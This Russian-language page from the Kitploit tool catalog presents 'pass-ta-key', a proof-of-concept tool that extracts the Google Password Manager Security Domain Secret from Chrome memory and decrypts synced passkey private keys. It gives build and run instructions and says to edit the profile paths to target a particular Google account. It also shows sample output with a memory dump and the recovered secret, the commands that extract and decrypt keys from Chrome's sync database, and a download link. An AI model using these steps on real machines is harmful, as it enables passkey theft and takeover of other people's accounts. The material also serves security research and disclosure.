Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pass-ta-key — PoC, который извлекает Google Password Manager Security Domain Secret из памяти процесса Chrome и расшифровывает синхронизированные приватные ключи ECDSA P-256 от GPM passkey. | Kitploit
Инструменты/GitHubGitHub/0rcruxe/pass-ta-key
Взлом паролейИнструменты шифрования/дешифрованияКриминалистика памятиЭксплуатацияОбратная инженерияЦифровая криминалистика
GitHub0rcruxe/pass-ta-key

pass-ta-key

PoC, который извлекает Google Password Manager Security Domain Secret из памяти процесса Chrome и расшифровывает синхронизированные приватные ключи ECDSA P-256 от GPM passkey.

Репозиторий
275264 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pass-ta-key Golden Attack PoC

License: MIT PoC

Этот инструмент представляет собой PoC-реализацию Pass-ta-key Golden Attack — нового метода извлечения Security Domain Secret (SDS) из памяти процесса Google Password Manager (GPM), разбора локально сохранённых записей WebauthnCredentialSpecifics для каждого passkey GPM и расшифровки приватных ключей ECDSA P-256 синхронизированных passkey с использованием извлечённого SDS.

Затронутые версии: Поскольку эта уязвимость эксплуатирует архитектурный недостаток, затронуты все версии Chrome во всех каналах выпуска (Stable, Beta, Dev и Canary).

Полный технический анализ см. в моей публикации в блоге: https://0rcruxe.github.io/posts/pass-ta-key-golden-attack-sds-extraction/


[!WARNING] Только для образовательных и исследовательских целей. Используйте только в системах, которыми вы владеете или на проверку которых у вас есть явное разрешение. Предоставляется как есть, без каких-либо гарантий.


Извлечение Security Domain Secret

Извлеките SDS из памяти процесса Chrome во время регистрации устройства в домене безопасности enclave путём перехвата CBOR-буферов.

Сборка

x86_64-w64-mingw32-gcc -O2 -o sds_extractor.exe sds_extractor.c -lws2_32 -liphlpapi -static

Использование

Нацельтесь на конкретную учётную запись Google, отредактировав пути профиля Chrome в исходном файле. Откройте Chrome, запустите скомпилированный бинарный файл, затем инициируйте аутентификацию по passkey (вход или регистрацию), чтобы вызвать регистрацию устройства в домене безопасности enclave и перехватить SDS во время его передачи в памяти.

Пример

================================================================
  POC - Security Domain Secret (SDS) Extraction
================================================================

[*] Winsock initialized
[*] 'passkey_enclave_state' deleted

[*] Browser PID : 3016
[*] enclave.ua5v.com resolved:
      142.251.209.142

[*] Monitoring TCP connections ...

[19:06:23.157] [FILE] passkey_enclave_state CREATED
[*] Scanning memory for 10 seconds...

[19:06:23.478] [+] New TCP connection detected -> 142.251.209.142
  [19:06:23.828] pass #5  1106 regions  0 candidate
  [19:06:24.410] pass #10  1106 regions  0 candidate
  [19:06:24.511] pass #11  1106 regions  1 candidate
  ...
  [19:06:33.206] pass #97  1121 regions  1 candidate

================================================================
[+] Security Domain Secret (SDS) Dumped : 1 candidate
================================================================

  #1
  Patterns : keys/wrap & passkeys/assert

  ----- [keys/wrap] @ 0x000032D401D10900 -----
  000032D401D10900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  000032D401D10910  00 00 00 00 00 00 00 00 00 00 cd cd cd cd cd cd  ................
  000032D401D10920  cd cd cd cd cd cd 01 00 00 00 81 a3 63 63 6d 64  ............ccmd
  000032D401D10930  69 6b 65 79 73 2f 77 72 61 70 63 6b 65 79 58 20  ikeys/wrapckeyX
  000032D401D10940  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  <<< SDS start
  000032D401D10950  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  <<< SDS end
  000032D401D10960  67 70 75 72 70 6f 73 65 76 73 65 63 75 72 69 74  gpurposevsecurit
  000032D401D10970  79 20 64 6f 6d 61 69 6e 20 73 65 63 72 65 74 cd  y domain secret.
  000032D401D10980  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................
  000032D401D10990  cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  ................

  ----- [passkeys/assert] @ 0x000032D401FD8A42 -----
  000032D401FD8A42  00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00  ................
  000032D401FD8A52  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................
  000032D401FD8A62  00 81 a5 63 63 6d 64 6f 70 61 73 73 6b 65 79 73  ...ccmdopasskeys
  000032D401FD8A72  2f 61 73 73 65 72 74 66 73 65 63 72 65 74 58 20  /assertfsecretX
  000032D401FD8A82  41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a  A.7.5,F].._.(.1J  <<< SDS start
  000032D401FD8A92  05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85  ...N.....1.z....  <<< SDS end
  000032D401FD8AA2  67 72 65 71 75 65 73 74 a1 64 72 70 49 64 6a 67  grequest.drpIdjg
  000032D401FD8AB2  69 74 68 75 62 2e 63 6f 6d 68 70 72 6f 74 6f 62  ithub.comhprotob
  000032D401FD8AC2  75 66 59 01 77 0a 10 b3 a4 18 af ce 0e b6 0e c6  ufY.w...........
  000032D401FD8AD2  67 0d e2 6c 1c d1 c2 12 10 95 9f 7f c5 d3 dc 19  g..l............

  Security Domain Secret (SDS) : 41f337a9352c465d0ec05fbc280f314a059eaa4ed104cbb2de31007a940ba185

[+] Done. SDS successfully extracted. Exiting.

Демонстрация

https://github.com/user-attachments/assets/883fd09b-8065-4501-8176-3c1280da202b


Извлечение и расшифровка ключей доступа Google Password Manager

Разбирает каталог базы данных LevelDB, хранящийся по пути /Sync Data/LevelDB внутри профиля Chrome, извлекает записи WebauthnCredentialSpecifics и расшифровывает приватные ключи ECDSA P-256 ключей доступа GPM с помощью извлечённых SDS.

Установка

pip install -r requirements.txt

Файл webauthn_credential_specifics.proto уже скомпилирован в webauthn_credential_specifics_pb2.py и поставляется вместе с репозиторием.

Использование

usage: passkey_extractor.py [-h] <command> [options]

Extract and decrypt Google Password Manager passkeys from a LevelDB database.

commands:

  extract   Extract WebauthnCredentialSpecifics records from a LevelDB directory.
              --leveldb-dir DIR   Path to the LevelDB directory.
              --output-dir DIR    Directory where blobs and metadata are written.

  decrypt   Decrypt a WebAuthn private key (ECDSA P-256) GPM passkey blob using the SDS.
              --blob FILE         Path to the encrypted blob (enc_<id>.bin).
              --sds HEX           32-byte Security Domain Secret (SDS), 64 hex chars.
              --output-dir DIR    Directory where the recovered private key is written.

examples:

  python passkey_extractor.py extract --leveldb-dir ./LevelDB --output-dir ./out
  python passkey_extractor.py decrypt --blob ./out/enc_xxxx.bin --sds <64_hex> --output-dir ./out

Пример вывода

Извлечение записей WebauthnCredentialSpecifics:

Извлечение из LevelDB

Расшифровка приватного ключа ECDSA P-256 от passkey в GPM:

Расшифровка приватного ключа

Скачать инструмент